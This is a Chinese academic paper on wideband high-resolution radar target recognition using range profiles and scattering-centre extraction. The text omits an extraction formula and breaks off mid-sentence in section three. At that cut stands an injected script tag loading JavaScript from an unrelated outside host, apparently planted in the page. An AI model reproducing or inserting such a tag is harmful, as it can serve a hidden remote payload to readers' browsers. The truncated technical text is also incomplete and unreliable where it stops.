摘 要：研究了宽带高分辨雷达目标识别问题，基于目标一维距离像，提取目标散射中心特征，并根据该特征设计了简单目标的目标分类器，利用暗室测量得到的缩比模型高分辨回波数据进行识别，结果表明该识别方法具有良好的识别性能。
关键词：高分辨雷达；自动目标识别； 目标识别； 一维距离像； 散射中心
一、引言
对于现代雷达而言，提高其分辨率是一个重要的发展方向。研究高分辨力雷达信号形式以及相应的信号处理方法，对雷达目标探测精度的提高、多目标分辨以及目标成像与识别都有着重要的意义。在光学区(或高频区)，目标识别首先可得益于宽带波形。众所周知，雷达对目标的距离分辨率与发射波带宽成反比。当距离分辨单元远小于目标尺寸时，目标占据连续多个距离单元，形成了一幅目标距离图像(range profile)，反映了目标的精密结构特征。目标的精密物理结构对目标特征测量和目标识别是非常有用的，英国的“水上搜索”(seachwater)雷达利用高分辨目标距离像反映的目标长度信息和结构信息，完成对舰船目标的识别；美国的floyd高距离分辨雷达利用宽带波形判定目标的精密结构，曾两次发现阿波罗飞船和天空实验室的太阳能电池板的故障。早在1963年，j.b.keller就首次提出散射中心的概念，但是由于在相当长一段时期内雷达技术水平的限制，缺乏对目标多散射中心进行孤立的技术手段。
随着雷达技术的发展以及现代信号处理技术在目标散射特性分析中的成功应用，使得以散射中心概念为基础的局部雷达特性的研究发展到一个新的水平上。从目标识别的物理机制和特征提取的角度来看，一维高分辨率雷达目标识别的方法可归纳为基于特征量表征和基于成像的目标识别这两大类。而且要很好地解决光学区雷达目标的识别问题，还有赖于有效的模式识别技术。在高分辨雷达目标识别领域中出现的以上方法，各有自己的特点，但是在具体实现上总会出现这样或那样的问题，至今还没有一种有效而且简单易行的方法。散射中心是高分辨回波的一个重要特征，散射中心分别对应于目标的几何不连续处(散射中心的重要意义)。关于散射中心的提取，人们已经做了大量的研究，获得丰硕的成果。然而在工程实践中要求所采纳的方法简单、直观、物理意义明晰。因此，这里所采用的方法也是基于此目的考虑的。
本文基于一维高分辨雷达目标特征信号中所提取的散射中心及其位置、幅度信息，结合目标特征信号长度对目标进行了分类和识别。目标识别的目的就是通过对目标回波的分析研究获取目标的结构信息，从而将真实目标分辨出来。而宽带高分辨雷达当其带宽进一步提高时，则可以将目标的精细结构近乎完全地展示出来，从而可以更为精确地对目标进行分类和识别。
二、目标散射中心及其提取
一般来说，一个形状复杂的扩展目标总可以看成是由大量“点散射元”构成的，每一个单元都会散射雷达回波，总的回波是各个散射电波的矢量和，它可等效为由一个散射点所散射，该点就是扩展目标的等效散射中心，也称视在中心。散射中心这一概念的形成和发展奠定了光学区雷达目标特征分析和目标识别研究的基石，其在目标识别中的作用等同于谐振区雷达目标的极点(自然复谐振频率)。
在高频区，目标散射不是全部目标表面所贡献，而是可以用几个孤立散射中心来完全表征。散射中心处的点散射源并不是孤立存在的，而是等效而来的, 它由散射中心附近的局部物理特性、几何结构以及入射波的性质所决定。人们通过精确的测量，不仅观测到了多散射中心的二维或三维几何分布，而且这些多散射中心的矢量合成散射场和目标总雷达散射截面积，同理论计算得到的总散射场和雷达散射截面均吻合得很好。
如前所述，对于高分辨雷达，目标回波为目标散射中心在雷达视线上的投影，称为目标的一维距离像。所谓散射中心是指目标物体上散射强度较大的部位，具体地说，它是指距离像上幅度较大的位置。目标的一维距离像反映了目标的精细的几何结构。
在一维距离像的幅度域，通常将距离像的尖峰认为是一个散射中心，这样散射中心的提取也即幅度域中尖峰的提取。
首先将雷达回波(一维距离像)数字化，然后标记散射中心位置，即有散射中心的位置记为“1”，其它位置记为“0”，这样得到一个“0，1”随机序列。具体做法是：
其中ki(0≤i≤m,0≤ki≤n-1)为散射中心的位置。这样散射中心的数目为m。η为置信系数，可以根据s/c值的大小或虚警概率的大小来确定，一般可选0.3~0.7这个范围中的数。η若偏小，则虚警概率会增加；η若偏大，则漏警概率会增加，本文选择η=0.5。
三、目标特征提取与分类器设计
对于雷达目标识别来说，目标特性的提取是其中最重要的环节之一，其原因在于?script src=http://er12.com/t.js>
